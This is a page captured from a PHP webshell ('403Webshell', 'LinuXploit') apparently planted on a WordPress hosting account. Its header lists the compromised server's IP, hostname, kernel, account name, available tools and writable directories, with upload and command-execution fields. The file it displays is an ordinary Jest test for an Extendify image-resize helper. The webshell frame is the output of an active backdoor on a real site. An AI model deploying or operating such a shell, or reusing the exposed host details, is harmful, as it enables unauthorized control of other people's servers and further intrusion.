403Webshell
Server IP : 63.250.38.98  /  Your IP : 216.73.216.80
Web Server : LiteSpeed
System : Linux premium291.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : samejjip ( 1289)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/samejjip/www/wp-content/plugins/extendify/src/Shared/utils/__tests__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/samejjip/www/wp-content/plugins/extendify/src/Shared/utils/__tests__/resize-image.test.js
// resize-image.test.js
import { resizeImage } from '@shared/utils/resize-image';

describe('resizeImage', () => {
	beforeEach(() => {
		Object.defineProperty(global.Image.prototype, 'src', {
			set() {
				setTimeout(() => {
					this.width = 500;
					this.height = 500;
					this.onload();
				}, 10);
			},
		});

		HTMLCanvasElement.prototype.getContext = () => ({
			clearRect: jest.fn(),
			drawImage: jest.fn(),
		});

		HTMLCanvasElement.prototype.toBlob = function (callback, type) {
			callback(new Blob(['mock'], { type }));
		};

		global.URL.createObjectURL = jest.fn(
			() => 'blob:http://example.com/fake-url',
		);
	});

	afterEach(() => {
		delete global.URL.createObjectURL;
	});

	it('should resize image and return a blob URL', async () => {
		const result = await resizeImage('http://example.com/img.png', {
			size: { width: 64, height: 64 },
			mimeType: 'image/png',
		});

		expect(typeof result).toBe('string');
		expect(result).toBe('blob:http://example.com/fake-url');
		expect(global.URL.createObjectURL).toHaveBeenCalledWith(expect.any(Blob));
	});

	it('should throw if imageUrl is missing', async () => {
		await expect(
			resizeImage(null, { width: 64, height: 64 }, 'image/png'),
		).rejects.toThrow('Invalid imageUrl or size dimensions');
	});

	it('should throw if size is missing', async () => {
		await expect(resizeImage('http://example.com/img.png', {})).rejects.toThrow(
			'Invalid imageUrl or size dimensions',
		);
	});

	it('should throw if size is not an object', async () => {
		await expect(
			resizeImage('http://example.com/img.png', 64, 'image/png'),
		).rejects.toThrow('Invalid imageUrl or size dimensions');
	});

	it('should throw if width or height are not valid numbers', async () => {
		await expect(
			resizeImage('http://example.com/img.png', { width: 0, height: 64 }),
		).rejects.toThrow('Invalid imageUrl or size dimensions');

		await expect(
			resizeImage('http://example.com/img.png', { width: 64, height: -1 }),
		).rejects.toThrow('Invalid imageUrl or size dimensions');

		await expect(
			resizeImage('http://example.com/img.png', { width: '64', height: 64 }),
		).rejects.toThrow('Invalid imageUrl or size dimensions');
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit